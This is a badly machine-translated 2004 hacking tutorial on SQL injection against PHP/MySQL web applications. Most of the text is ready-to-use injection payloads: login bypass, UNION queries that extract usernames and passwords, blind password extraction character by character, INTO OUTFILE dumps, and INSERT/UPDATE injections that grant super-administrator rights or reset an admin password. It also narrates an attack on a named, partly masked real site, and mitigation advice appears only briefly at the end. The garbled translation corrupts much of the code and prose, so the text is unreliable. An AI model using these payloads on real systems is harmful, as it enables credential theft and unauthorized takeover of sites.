SQL INJECTION with MySQL

xiaoxiao2021-03-06  77

Author: angel article in Nature: Original release date: 2004-09-16 This article has been published in "hacker defense" July issue, please indicate. Since I wrote a long time, with the advancement of technology, I also found a lot of mistakes and Luo Wei. Please read you don't laugh. This article is written for one month before "Advanced SQL Injection with MySQL". Declaration This article is only used for teaching purposes only if this article is not responsible for the attack consequences of this article, all of this article is written, all data is tested. Absolutely true. If you have any omissions or mistakes, Welcome to the Security Angel Forum (http://www.4ngel.net/forums) and I am communicating. Preface Beginning in 2003, there are more and more people who like scripts attack, and the friends who invest in the ASP are gradually gradually, I have seen the earliest article about SQL injection is a master of 99 years, but Nowadays, there is already a fire. It has begun to pay attention to this technology in China. It seems that the technology in this area is still a big gap in foreign countries. If you come back, everyone is quite familiar with SQL injection attacks. The big site is a single classic work, but as a complete article, I think there is still necessary to talk about its definition and principle. If a master has reached a pure level, you may wish to pick some thorn this article. The right to point the younger brother. About PHP MySQL's injection domestic can see PHP MySQL injection articles may be less, but if you pay attention to the vulnerability of various web programs, you can find that in fact, these vulnerabilities are actually an example. However, due to the domestic research of PHP people more than the research ASP, there may be no attention, and the security of PHP is much higher than the ASP, causing many people who don't want to cross this threshold. Despite this, in the increasing PHP site, SQL injection is still a most effective and most troublesome attack method. It is effective because at least 70% of the site exists in SQL INJECTION vulnerability, including most security sites, trouble because Mysql4 The following versions are not supported by the child statement, and when Magic_QUOTES_GPC in php.ini is ON. All '(single quotes), "(dual quotes), / (reverse slope) and empty characters in the submitted variables are automatically converted to the escape character of the anti-laminated line. Early trend According to the code of the program, it is really difficult to construct an effective attack, it is really difficult. It is really a bit difficult. It is good to construct a statement application that is not quoted in some occasions. As long as there is experience, actually The constructive statement is not difficult, even the success rate is also very high, but the specific situation is specific. First, we must go out of a misunderstanding. Note: We assume that Magic_QUOTES_GPC is OFF. Php mysql injected Many people think that under php mysql should be used to use single quotes, or there is no way to use "declare @a sysname select @ a = exec", "like MSSQL. Command to eliminate quotation marks, in fact, this is a misunderstanding of the injected or this is a misunderstanding of the injection understanding. Why? Because in any language, in quotation marks (including single double), all strings All are constants, even if the DIR is a command, it is tightly a string, and cannot be executed as a command unless you write the code:

$ comMMAND = "DIR C: /"; System ($ command); otherwise just a string, of course, what we said is not only referring to the system command, we are talking about the SQL statement, let us construct the SQL statement normal Don't let our statement become string, then in the case, single quotes will be used? When is it? See the following two SQL statements:

1Select * from article where articleid = '$ ID' 2select * from article where articleid = $ ID The two ways are common in various programs, but the security is different, the first sentence is in one by one In single quotes, the variables we submit becomes a string, even if the correct SQL statement is included, it will not perform properly, and the second sentence is different, because the variable is not placed in single quotes, then Everything we have submitted, as long as it contains spaces, the variables after the space will be executed as a SQL statement, and we submit two successful implanted malformation statements for the two sentences to see different.

1 Specify variable $ ID to: 1 'and 1 = 2 Union Select * from user where userid = 1 / * At this time, the entire SQL statement becomes: select * from article where articleid =' 1 'and 1 = 2 Union Select * from User where userid = 1 / * '2 Specify variable $ ID to: 1 and 1 = 2 Union Select * from user where userid = 1 At this time, the entire SQL statement becomes: select * from article where articleid = 1 and 1 = 2 Union SELECT * exe User where userid = 1 See it? Since the first sentence has a single quotes, we must first close the previous single quotes, so that the latter statements are executed as SQL, and to comment out the back of the single quotes in the back SQL statement so that it can be successfully injected if PHP .ini Magic_QUOTES_GPC is set to ON or a variable using the addslashes () function, our attack will become a black, but the second sentence does not use quotation to include variables, then we don't have to consider closing, annotation, direct submission is OK . Everyone sees that some of the SQL statements given in the "PHP Injection Instance" that are not included in the statement, such as PINKEYES, is not included in the quotation marks, don't think I really don't need quotation marks, take a closer look. PHPBB's code can find that the SQL statement where the $ millum_id is written:

$ SQL = "SELECT *". "Where forum_id = $ forum_id"; because the single quotes contain variables, the guy is organically multiplied by this guy, so everyone will write the PHP program. Variables contain. Of course, the necessary safety measures are essential. A simple example will give you an example to give you a specificity and principle of the injection under the PHP. Of course, this example can also tell you how to learn to construct a valid SQL statement. We take an example of user authentication, first build a database and a data sheet and insert a record, as follows: Create Table `User` (` Userid` int (11) Not null auto_increment, `Username` Varchar (20) Not null default ', `Password` VARCHAR (20) Not null default', primary key (` Userid`)) Type = myisam auto_increment = 3; ## Export table in the table in the table` # Insert Into `User` VALUES (1 , 'Angel', 'mypass'; verifying the code of the user file as follows:

SQL Query: $ SQL

";?> At this time we submit:

http://127.0.0.1/injection/user.php?username=angel 'or 1 = 1 will return:

Warning: mysql_fetch_array (): supplied argument is not a valid MySQL result resource in F: /www/injection/user.php on line 13 failed login SQL Query: SELECT * FROM user WHERE username = 'angel' or 1 = 1 'AND Password = '' php warning: mysql_fetch_Array (): Supplied Argument is not a valid mysql result resource in f: /www/injection/user.php on line 13 See After the single quotes closed, it did not comment out the single quotes behind, causing single quotes not correctly paired, so it can be seen that the statement we constructed cannot make MySQL correctly, to re-construct: http: //127.0.0.1/injection/user .php? usrname = angel 'or' 1 = 1 This time the "landing success" is displayed, the description is successful. Or submit:

http://127.0.0.1/injection/user.php?username=angel'/6ttp://127.0.0.1/injection/User.php?username=angel'# This will take the following statement to comment. ! Talk about the differences between these two submissions, the first sentence we submit is to use logical operations, which can be used in ASP, this is very extensive, don't you say it? Second, the three sentences are based on MySQL characteristics, mysql support / * and # two annotation formats, so we are submitted to comment out the following code, it is worth noting due to encoding problems, submitted in the IE address bar # It will become empty, so we should submit% 23 when we submit it in the address bar, and it will become a #, which is more than the logical operation, which can be seen that PHP is strongly flexible than ASP. too much. Through the above example, you should have a sense of understanding of the PHP MYSQL injection? The statement constructs PHP mysql injection, the profite is not only reflected in the verification system, the structure of the statement is the most interesting place, but the constructing statements and Access, MSSQL have a little different, but they can also play the fullest. Look at the example below. 1. Search engine online has a lot of PHP program search engines, that is, submitting special characters to display all records, including non-conformity, in fact, this hazard is not big, because allows users to enter keywords to make blur Most of the places where the query allows you to retrieve all records. Many queries are designed. The query is that only read-only operations should not be destroyed, don't worry too much. However, the privacy does not know that it is not harmful, the following is a standard search engine:

search result SQL Query: $ SQL

"; if ($ TATOL <= 0) {echo "the /" $ keywords / "WAS NOT Found in all the record.

/ n ";} else {while ($ article = mysql_fetch_array) {echo"

  • ". htmlspecialchars ($ article [title])."

    / n ";} // while}} Else {echo please ente R Some keywords.

    / n ";}?> The general program is written like this. If we lack variable checks, we can rewrite the variable, reach the purpose of" injection ", despite not harm, when we When entering "___", ".__", "%", the database will be taken out. If we submit in form:% 'order by articleid / *%' Order by ArticleID #__ 'Order by ArticleID / * __' Order by ArticleID # SQL statement is changed to the following,

    Select * from article where title limited / *% 'Order by title descselect * from artricle where title Like'% __ 'Order by ArticleID #%' Order by Title DESC will list all records, including Hidden, you can also change the order of arrangement. Although this is not harmful, is it a way to inject? Second, the query field inquiry field can be divided into two types, this table query and cross-table query, these two queries and access, MSSQL is almost, even more powerful, more flexible, and more convenient. I don't know why, is it too difficult than ASP? Our individual functions in the ASP have small changes in PHP, as follows: 1 This table looks at the following SQL statement, mostly in the forum or member registration system to view user information,

    SQL Query: $ SQL

    "; exit;} echo" You want to query the user ID is: $ row [userid] / n "; echo"

    SQL Query: $ SQL

    ";>> When we submit the user name as true, it will return the user's ID. If the illegal parameters will prompt the corresponding error, because it is querying user information, we can boldly guess the password In this data sheet (now I haven't met the password, I have another list of another table), remember the authentication program just now? With now, there is a sum of the AND conditions as follows:

    Select * from user where username = '$ usrname' and password = '$ password'select * from user where username =' $ username 'The same is that when the condition is true, it will give the correct prompt information if we construct The back of the AND condition, and make this part as true, then our purpose also reaches, or uses the User database just established, the user name is anger, the password is mypass, read the above example, should know constructed Let's submit:

    http://127.0.0.1/injection/user.php?username=Angel 'and password =' ​​mypass This is absolutely true, because we submit the SQL statement above to the following: SELECT * from User Where Username = 'angel' and password = 'mypass' But in actual attacks, we must not know the password, suppose we know the fields of the database, let's start probe password, first get the password length:

    http://127.0.0.1/injection/User.php?username=angel 'and length (password) =' 6 In Access, use the LEN () function to get the string length, in MySQL, use Length () As long as there is no construct error, that is, the SQL statement can be executed normally, then the result is not more than two, not returning the user ID, is returning "This record does not exist." When the user name is Angel and the password is 6 times, it will return to the true record, is it the same as the ASP? Use Left (), Right (), MID () function to guess the password:

    http://127.0.0.1/injection/user.php?username=abel 'and Left (Password, 1) =' MHTTP: //127.0.0.1/injection/user.php? username = angel 'and left (Password, 2) = 'myhttp: //127.0.0.1/injection/user.php? Username = angel' and left (password, 3) = 'myphttp: //127.0.0.1/injection/user.php? Username = angel' and Left (Password, 4) = 'mypahttp: //127.0.0.1/injection/user.php? Username = angel' and left (password, 5) = 'mypashttp: //127.0.0.1/injection/user.php? Username = Angel 'and Left (Password, 6) =' mypass see, is the password is not coming? Simple? Of course, there will be a lot of conditional restrictions, and the in-depth application of this example will be said. 2 Cross-gum query This part will be a bit out of ASP. In addition to being connected to two SQL statements with UNION, the most difficult to master is the number of fields. If you have seen the MySQL reference manual, you will know Select_Expression in SELECT (SELECT_EXPIPRESSION " The columns that you want to retrieve the column [field]) section must have the same type. The column name used in the first SELECT query will return to the column names of the result set. Simply put, it is the number of fields selected by UNION, the field type should be the same as the front Select, and if the front Select is true, return two SELECT results, when the front select is false, Will return the result of the second Select, some cases will replace the fields that should be displayed in the first SELECT, as shown below: See this picture is intuitive? So you should first know the structure of the data sheet of the previous query table. If we query the fields of the two data tables, the type is the same, we can submit: select * from article where articleid = '$ ID' Union Select * from ... If the field number, the field type is not the same, You can only clear the number of data types and fields, so submit:

    Select * from article where articleid = '$ ID' UNION SELECT 1, 1, 1, 1, 1, 1, 1 from ... Otherwise, it will be reported:

    If you do not know the number of data types and fields, you can use 1 to slowly try, because 1 belongs to the int / str / var type, so we will change the quantity slowly, you can guess . If you can't understand the above theory, there is a very detailed example. Let's take a look at the data structure below, it is a simple article data sheet.

    Create Table `Article` (` Articleid` int (11) Not null auto_increment, `Title` Varchar (100) Not null default '',` Content` TEXT NOT NULL, PRIMARY Key (`Articles)) TYPE = MyISAM Auto_Increme = 3; ## Export table in the table in the table` # Insert Into `Article` VALUES (1, 'I am a child who doesn't love reading",' China's education system is really backward! If I want to be educated, I want to put All teachers are dismiss! '); Insert Into `Article` Values ​​(2,' I hate you", 'I hate you, what you are,'); this table is int, varchar, TEXT, if we use UNION to query, the structure of the table behind the query is the same. You can use "Select *", if you have anything different, then we can only use "SELECT 1, 1, 1, 1 ...". The following file is a very standard, simple display of the article, many sites are not filtered, so becoming the most obvious injection point, then take this file as an example, start our injection experiment. SQL Query: $ SQL

    "; exit;} echo" title
    "$ row [title]."

    / n "; echo" Content
    "$ row [content]." "

    / n"; echo "

    SQL Query: $ SQL

    ";> Under normal circumstances, we submit such a request:

    http://127.0.0.1/injection/show.php?id=1 Displays articles with ArticleId 1, but we don't need an article, we need to be user sensitive information, just query the USER table, now you are inquiry Just now we build the USER table. Since the ID is not filtered, we have made this opportunity, we have to rewrite the SQL statement in the show.php file as this:

    Select * from article where article = '$ ID' Union Select * from user ... Because this code is a single quotes contains variables, we are now submitted: http://127.0.0.1/injection/show.php? Id = 1 'Union SELECT 1, Username, Password from user / * Say, you should display the user table's username, Password's content of two fields, how can I display the article normally? As shown in the figure: In fact, ArticleId = 1 we submit is what exists in the article table. The execution result is true. Naturally returns the result of the front Select, when we submit an empty value or submit a value that does not exist, it will bounce out us. Want to:

    http://127.0.0.1/injection/show.php?id= 'Union Select 1, UserName, Password from user / * http: //127.0.0.1/injection/show.php? id = 99999' Union Select 1, Username, Password from user / * is shown in Figure: Now there is a corresponding place in the field. If you still don't know your ideas and specific applications, some advanced skills will be said. Third, the export file is more easy to construct but there is a certain limit, we can often see the following SQL statements:

    Select * from table intfile 'c: /file.txt'Select * from Table Into Outfile' /var/www/file.txt 'But such a statement is usually rarely used in the program, who will put their own data Export? I have never seen such a backup method unless a backup. So we have to construct your own, but you must have the following premise:

    You must export the directory that can be accessed, so you can download it. The directory that can be accessed must have writable permissions, otherwise the export will fail. Make sure the hard disk has enough capacity to accommodate the data exported, this is rare. Make sure there is already the same file name, which will cause the export failure and prompt: "File 'c: /file.txt' already exists, this can prevent database tables and files from being destroyed, such as / etc / passwd. We continue to use the above User.php and show.php two files, if a user guess is too slow, if the other party's password or other sensitive information is complicated, do not write Exploit, what to guess Time? Come to a wide range, directly export all the data is fine. User.php query statement, we can export the information we need according to the following statement, in accordance with the INTO OUTFILE standard format:

    Select * from user where username = '$ usrname' Into outfile 'c: /file.txt' knows how the statement can achieve our goal, we can easily construct the corresponding statement:

    Http://127.0.0.1/injection/user.php?username=Angel 'INTO OUTFILE' C: /FILE.TXT has an error prompt, but from the return statement, our SQL statement is indeed correctly, Even if there is an error, it is also a query problem. The file is still exported, as shown: Since the code itself has a WHER to specify a condition, the data we export is only the data that meets this condition, if we want to export all ? In fact, it is very simple, as long as this WHERE condition is false, and specifies a true condition, you can use the classic 1 = 1 works: http://127.0.0.1/injection /user.php?username= 'or 1 = 1 INTO OUTFILE' C: /FILE.TXT The actual SQL statement becomes:

    Select * from user where username = 'or 1 = 1 INTO OUTFILE' C: /FILE.TXT 'This userv is empty, that is, fake, 1 = 1 is always true, then the WHER in front is not It works, but don't use And, otherwise you can't export all data. Since the conditions are met, all data is directly imported in this case! As shown in the figure: But what is the statement of the speakers of export files? Still use of Union combined with query, so all prerequisites should be the same as Union, export data, and cross-tables should be the same as in normal conditions:

    Select * from article where articleid = '1' union select 1, username, password from user into outfile 'c :/user.txt' This can be exported, if we want to construct:

    http://127.0.0.1/injection/show.php?id=1 'Union Select 1, username, password from user into outfile' c: /user.txt file is coming out, but there is a problem, due to the previous query ArticleID = '1' is true, so the exported data also has part of the entire article, as shown: So we should make the previous query statement as a fake, in order to only export the contents of the query, just submit:

    Http://127.0.0.1/injection/show.php?id= 'Union Select 1, username, password from user into outfile' C: /user.txt This can get what we want: worth noting Export files, must be Magic_QUOTES_GPC is not open, and the program also does not use the addslashes () function, and if you do not filter the single quotes, because we must use quotation marks when you submit the export path, otherwise, the system will not Know that is a path, nor does it try to use char () or any function, it is futile. INSERT If you think that in MySQL is only suitable for Select, it is wrong. In fact, there are two more harmful operations. That is insert and update statement, this type of case is not much, first talk about INSERT, this Mainly used to rewrite the inserted data, let's take a simple and widely existing example, see the following data structure: Create Table `User` (` Userid` int not null auto_increment, `username` VARCHAR (20) Not null , `Password` Varchar (50) Not null,` Homepage` VARCHAR (255) Not Null, `Userlevel` int default '1' NOT NULL, Primary Key (` Userid`); where UserLevel represents the user's level, 1 It is ordinary users, 2 is a general administrator, 3 is a super administrator, and a registration program is registered as a normal user by default, as follows:

    INSERT INTO `USER` (Userid, UserLevel) VALUES ('', '$ usrname",' $ password ',' $ homepage ',' 1 '); the default UserLevel field is inserted 1, of which The variables are not filtered directly, I don't know what I have? Yes, it is direct injection, so that we register is a super administrator. When we registered, construct $ homepage variables, you can rewrite the purpose, specifying $ homepage variables:

    http://4ngel.net ',' 3 ') # turns into the database:

    INSERT INTO `USER` (Userid, Username, Password, HomePage, Userlevel) Values ​​('', 'angel', 'mypass',' http://4ngel.net ',' 3 ') #', '1') This will be registered as a super administrator. However, this method also has certain limitations. For example, there is no need to rewrite the variables such as the USERLEVEL field is the first field of the database. There is no way to inject us in front of us, and we have no way. Perhaps Insert also has a wider application, you can study themselves, but the principles are the same. Update and INSERT compared to Update applications, if filtering is not enough, enough to rewrite any data, or take the registration program, the data structure does not change, let's take a look at the user's own information, SQL statement is generally Is written in this: Update user set password = '$ password', homepage = '$ homepage' where id = '$ ID' users can modify their passwords and homepages, what do you think? Never still upgrade the permissions? The SQL statement in the program does not update the USERLEVEL field, how to improve? Still old, construct $ homepage variable, specifying $ homepage variables:

    http://4ngel.net ', userlevel =' 3 The entire SQL statement becomes like this:

    Update user set password = 'mypass', homepage = 'http: //4ngel.net', userlevel = '3' where id = '$ ID' Do we turn into super administrators? The program does not update the UserLevel field, we will come by himself. There is also more, directly modifying the information of any user, or just now, but this safety, use MD5 encryption:

    Update user set password = 'MD5 ($ Password)', homepage = '$ homepage' where id = '$ ID' Although the password is encrypted, we can still construct the statement we need, we specify $ Password as:

    Mypass' where username = 'admin' # The whole statement becomes:

    Update user set password = 'md5' where username = 'admin' #) ', homepage =' $ homepage 'Where id =' $ ID 'This changed the update condition, I manage your code behind you. Cry this: We haven't performed yet. Of course, you can also start from the ID, specifying $ ID:

    'Or username =' admin 'This time the entire statement becomes:

    Update User Set Password = 'MD5 ($ Password)', homepage = '$ homepage' where id = 'or usrname =' admin 'can also achieve the purpose of modification, so that injection is a very flexible technology. If some variables are fixed values ​​read from the database, even when using the session information on the server with $ _SESSION ['Username'], we can construct where WHERE, and commented out the code behind the original WHERE. This opinion, flexible use of comments is also one of the techniques of injection. These techniques have played the injection. Have to say an art. The variable's submissions can be GET or POST, the submitted location can be an address bar, a form, hidden form variable, or modify local cookie information, etc., the submitted approach can be local submission, the server is submitted or the tool submit, a variety of ways See how you use it. Advanced Applications 1, using the MySQL built-in functions we are in the an Access, MSSQL, there are a lot of advanced injection methods, such as in-depth system, guess Chinese, etc., these things, in MySQL can be very good, in fact, in MySQL Many built-in functions can be used in the SQL statement so that we can make more flexible in injection and get more information about the system. There are several functions that are more common: Database () user () system_user () session_user () current_user () ... The specific role of each function can check the mysql manual, such as the following Update:

    Update Article Set Title = $ TITLE WHERE ARTICLEID = 1 We can specify $ TITLE for the above functions, because no quotation marks include, the function can be performed correctly:

    Update Article Set Title = Database () where id = 1 # Update the current database name to title field Update Article Set title = user () where id = 1 # Update the current MySQL username to title field Update Article Set title = system_user ) Where id = 1 # Update the current MySQL username to title field Update Article Set title = session_user () where id = 1 # Update the current MySQL username to title field Update Article Set title = current_user () where id = 1 # Updating the current session authentication username to the Title field Flexible use of the MySQL built-in function, you can get a lot of useful information, such as database version, name, user, current database, etc., such as the example of cross-table query, submit:

    Http://127.0.0.1/injection/show.php?id=1 can see an article, how can we know the information about the mysql database? Also use the mysql built-in function to cooperate with UNION union query, but it is much simpler than it, even if you can read the file! Since it is necessary to use Union, you must also meet the conditions of UNION - field, the same data type. If we know the data structure, the direct construct:

    http://127.0.0.1/injection/show.php?id=-1 Union Select 1, Database (), Version () You can return to the current database name and database version, the structure is easier. The following is attached to the code written by my friend Super · Hei, can convert the string to the ASCII code. Thanks for providing. #! / usr / bin / perl # Cody by Super · Hei #to Angel # c: /> Test.pl C: /Boot.ini # 99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105 $ argc = @argv; if ($ Argc! = 1) {Print "USAGE: $ 0 / n"; exit (1);} $ path = shift; @char = unpack ('c *', $ path); $ asc = Join (",", @ Char); Print $ ASC; 2, do not add single quotation mark Note: Now we assume Magic_QUOTES_GPC to be ON. As we all know, the shaped data is not required to use quotation marks, and the string will use quotation marks, which avoids many problems. However, if we use shaping data, we have no way to inject, so I need to convert the statements we constructed into a shaped type, this requires char (), ASCII (), ORD (), conv () these functions. , A simple example:

    Select * from user where username = 'angel' How to make $ usrname without quotation marks? Very simple, we can submit this.

    Select * from user where username = char (97, 110, 103, 101, 108) # char (97, 110, 103, 101, 108) is equivalent to an Agel, decimal. Select * from user where username = 0x616e67656c # 0x616e67656c is equivalent to Angel, hexadecimal. Other functions have been tested by themselves, but the premise is as mentioned above, the variables we can construct will not be meaningful, otherwise we don't have to construct what, just strings, can't play, such as front guesses password Example (User, PHP), we change the query conditions to userid:

    Select * from user where userid = userid follows normal, submitted:

    http://127.0.0.1/injection/User.php?Userid=1 You can query user information 1 of 1, because 1 is a number, so there is no quotation, but if we construct:

    http://127.0.0.1/injection/user.php?userid=1 and password = mypass absolute error, because mypass is a string unless submitted:

    Http://127.0.0.1/injection/user.php?userid=1 and password = 'mypass' is absolutely impossible for the relationship that MAGIC_QUOTES_GPC is opened. Quotation marks will become / ', do we have any way to turn these strings into plastic data? That is to use a char () function if we submit:

    http://127.0.0.1/injection/user.php?userid=1 and password = char (109, 121, 112, 97, 115, 115) Normal return, practice prove, we use char () is feasible, we will use char () into Left Inside the function, you are guess! http://127.0.0.1/injection/user.php?userid=1 and left (password, 1) = Char (109) Normal return, explaining UserId 1 users, the first bit of the Password field is char (109), We continue to guess:

    http://127.0.0.1/injection/user.php?userid=1 and left (password, 2) = char (109, 121) is normal to return, explain the correct, but this affects efficiency, since we are plastic, we can use Comparison operator compares:

    http://127.0.0.1/injection/user.php?userid=1 and left (password, 1)> char (100) then adjust the number of char () to determine a range, soon guessed, When it is behind, it is still possible to compare the comparison operator:

    http://127.0.0.1/injection/user.php?userid=1 and left (Password, 3)> Char (109, 121, 111) and it has been guessing, soon, you can guess:

    http://127.0.0.1/injection/User.php?userid=1 and left (password, 6) = char (109, 121, 112, 97, 115, 115) then execute under the mysql> command prompt or in phpMyAdmin:

    Select Char (109, 121, 112, 97, 115, 115) will return: MyPass can of course use SubString (STR, POS, LEN) and MID (STR, POS, LEN) functions, and returns a substring of LEN characters from the POS position of the string STR. . This is the same as Access. Or just now, we guess the third place in the Password field, the fourth place, the third is P, fourth is A, we construct:

    http://127.0.0.1/injection/user.php?userid=1 and MID (Password, 3, 1) = char (112) http://127.0.0.1/injection/user.php?userid=1 and MID (Password, 4, 1) = CHAR (97) The result we want is built. Of course, if you feel trouble, you can use a simpler way to use the ORD () function, the specific role can go to the MySQL Reference Manual, the function returns the shaped data, which can be compared with the comparison operator. The result is much more, that is, this is submitted:

    http://127.0.0.1/injection/user.php?userid=1 and ORD (MID (Password, 3, 1))> 111Http: //127.0.0.1/injection/user.php? userid = 1 and ORD ( MID (Password, 3, 1)) <113http: //127.0.0.1/injection/user.php? userid = 1 and ORD (MID (Password, 3, 1)) = 112 In this way, we will get the result, then We will restore it again with the char () function. As for other more functions, everyone can go to the test, limited to the space, and not more. 3. Quickly determine the field and type of unknown data structure If you don't know the data structure, it is difficult to use UNION union inquiry. Here I tell you a small skill, which is also very useful and very necessary, give full play to the characteristics of Union. Still take the front show.php file, when we see the URL of XXX.php? Id = XXX, if you want Union, you must know the structure of the data sheet for this xxx.php query, we can Submit to quickly determine how many fields: http://127.0.0.1/injection/show.php? ID = -1 Union SELECT 1, 1, how many "1" means how many fields can be slow Try, if the number of fields is different, it will definitely be wrong. If the field number is paid, it will definitely return the correct page. The number of fields will start to judge the data type, which is also very easy, just replaced with several letters The above 1, but due to Magic_QUOTES_GPC, we can't use quotation marks, old way, or use the char () function, char (97) means the letters "A", as follows:

    http://127.0.0.1/injection/show.php?id=-1 Union Select Char (97), Char (97), CHAR (97) If it is a string, it will display "a" normally, if not Strings or text, that is, it is shaped or Boolean, it will return "0", as shown in the figure: What is the most important thing to judge? Experience, I have always said that experience is very important, rich experience can make the correct judgment, because the code's code is a thousand variables, we are just the simplest example, here due to limitations, procedures are I wrote it myself, test it myself. The method varies depending on the program. I hope that everyone will pay attention to differences in actual combat, don't move, flexible use is the foundation. 4. Guess data table name is based on the field and type of unknown data structure, we can further analyze the entire data structure, that is, guessing the name, in fact, when using Union to query, regardless of the back inquiry " Deformity, as long as there is no statement, it will return correctly, that is, we can further guess the name on the top, such as we have submitted:

    http://127.0.0.1/injection/show.php?id=1 UNION SELECT 1, 1, 10 returns to normal content, indicating that there is 3 fields in the table of this file query, and then we join from from TABLE_NAME, that is, this:

    Http://127.0.0.1/injection/show.php?id=1 Union SELECT 1, 1, 1 from membershttp: //127.0.0.1/injection/show.php? id = 1 Union SELECT 1,1,1 from Adminhttp: //127.0.0.1/injection/show.php? id = 1 Union SELECT 1, 1, 1 from user If this table exists, then it will return the content that should be displayed, if the table does not exist, of course it will I have an error, so my idea is to first obtain the data structure of the list of vulnerabilities, determine the result, then further check the table, this manual operation is no efficiency, less than a minute, you can query, such as us In the test WWW. *** bai.net is the case, and the rear case will be involved. But there is a problem. Because many cases, many programs have a prefix, with this prefix allows multiple programs to share a database. For example: site_articlesite_usersite_downloadforum_userforum_post ... If the security is high, the administrator will add a table name prefix. The guess is very troublesome, but you can do a list of table names to run. Not much here, there will be a specific example to solve all confused ^ _ ^ ... Example The following to a domestic and very famous site to make a good attack test, to make a probably verification of the above knowledge For the impact, many factors, we call this site to HB (www. *** bai.net), HB uses the night cat's article system and download system, but the article system has been upgraded, we will not watch The download system is absolutely problematic, but because I am not online, I use the same download system to perform an simulated test. In fact, I used more vicious techniques to penetrate through HB beforehand. First we find questions, show.php? Id = 1, we immediately look at the data structure and table name, see if HB has changed fields and table names, I know the Software of the Night Cat Download System 1.0.1 The table of information has 19 fields, submitted:

    Http://127.0.0.1/ymdown/show.php?id=1 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 1, 1, here, there are 19 "1", return to normal pages, I can affirm the field does not change, we don't drag, directly look at whether the default user data table of the night cat exists:

    Http://127.0.0.1/ymdown/show.php?id=1 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 1, 1 from ymdown_user returns, as shown in the figure, if the URL is unclear, you can see the title: Well, this HB is really lazy, so bad procedures don't know, but also, no How many people have idle, I will go to reinforce the program, and then I will see the default user ID is not there?

    Http://127.0.0.1/ymdown/show.php?id=1 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 1, 1 from ymdown_user where id = 1 Forgot, even if there is no ID of the ID 1, the front query is true, and the software information of the database will be returned to the database. We can only let the front query is fake. In order to make the results of the back query display, we have to pay attention to a point, show.php files have such code: if ($ ID> "0" && $ ID <"99999999"): // This is the correct execution code Else: echo "

    / n"; that is, how the value of our ID can not be £ 0 and Outside of 999999999, HB's software will definitely not exceed 10,000, we will submit:

    Http://127.0.0.1/ymdown/show.php?id=10000 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 1, 1 from ymdown_user where id = 1 is returned, the data in the table is "1", indicating that the ID is still ok. If there is no existence, the data returned by the page is unknown because the program's judgment is unknown if the data is empty. Now determined that the ID existence, I have to determine whether the administrator is only available:

    Http://127.0.0.1/ymdown/show.php?id=10000 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 1, 1 from ymdown_user where id = 1 and groupid = 1 program specification GroupID is 1 is a super administrator, since all return correct information, we directly construct a distortion, the username and password we need, 嘿嘿First look at the data structure of the YMDown table, because show.php is querying it, so we should look at its data structure.

    Create Table Ymdown (ID INT (10) Unsigned Not Null Auto_Increment, Name Varchar (100) Not Null, Updatetime Varchar (20) Not Null, Size Varchar (100) Not Null, Empower Varchar (100) Not Null, OS VARCHAR (100 ) Not null, grade smallint (6) Default '0' NOT NULL, ViewNum Int (10) Default '0' NOT NULL, DOWNNUM INT (10) Default '0' Not Null, HomePage Varchar (100), Demo Varchar (100) ), Brief MediumText, IMG VARCHAR (100), Sort2ID Smallint (6) Default '0' NOT NULL, DOWN1 VARCHAR (100) NOT NULL, DOWN2 VARCHAR (100), Down3 Varchar (100), Down4 varchar (100), DOWN5 VARCHAR (100), PRIMARY Key (ID)); username and password data type is varchar, so we have to choose the YMDown table data type is varchar, if you write VARCHAR's data, it is certainly impossible to display Because the length of the UpdateTime is 20, it may appear incomplete display. We will display the username in the Name (software title), the password is displayed in size (file size), In 19 "1", Name and Size are the second and fourth, we submit: http://127.0.0.1/ymdown/show.php? ID = 10000 Union Select 1, Username, 1, Password, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 from Ymdown_User WHERE ID = 1 results successfully returned to the username and password we need, as shown: The entire penetration process is over, but because the black and white will change the entrance, we cannot log in, but we only test the injection, the purpose has been reached, there is no need In the rear, I will continue to construct the SQL statement to verify that the password we acquire is correct, submit it:

    Http://127.0.0.1/ymdown/show.php?id=10 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 , 1, 1 from ymdown_user where id = 1 and ORD (MID (PASSWORD, 1, 1)) = 49 # Verification first password http://127.0.0.1/ymdown/show.php?id=10 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 from YMDown_User WHERE ID = 1 AND ORD (MID (Password , 2, 1)) = 50 # Verify the second password http://127.0.0.1/ymdown/show.php?id=10 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1 , 1, 1, 1, 1, 1, 1, 1, 1, 1 from ymdown_user where id = 1 AND ORD (MID (Password, 3, 1)) = 51 # Verify the third password http: // 127.0.0.1/ymdown/show.php?id=10 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 , 1 from ymdown_user where id = 1 and ORD (MID (PASSWORD, 4, 1)) = 52 # Verification fourth password http://127.0.0.1/ymdown/show.php?id=10 Union Select 1, 1 , 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 from Ymdown_User WHERE ID = 1 AND ORD (MID (Password, 5, 1 ))) = 53 # Verify the fifth password http://127.0.0.1/ymdown/show.php?id=10 Union SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 , 1, 1, 1, 1, 1, 1 from ymdown_user where id = 1 AND ORD (MID (Password, 6, 1)) = 54 # Verify the sixth bit password SELECT Char (49, 50, 51, 52, 53, 54) You can get 123456. OK! The test ends, verifying that our results have no errors. Explanation, the password itself is 123456, you can directly guess the orde, but I can "professional" a little better for everyone to see a complete process. The following is a screenshot. After the writing of this article, it intercepts when the HB is referred to: Injection preventive prevention can start from two aspects, one is the server, the two is the code itself, the article introduces the server configuration, nothing more than Set Magic_QUOTES_GPC to ON, Display_ERRORS is set to OFF, which is not much more, since this text is in contact with the problem, we still find why the program itself is. If PHP is easy to use, safe, safe, from the built-in function, can be embodied. If it is a shaped variable, just use an intVal () function to resolve the problem, before performing the query, we will handle the variable first, as follows: $ ID = intVal ($ ID); mysql_Query 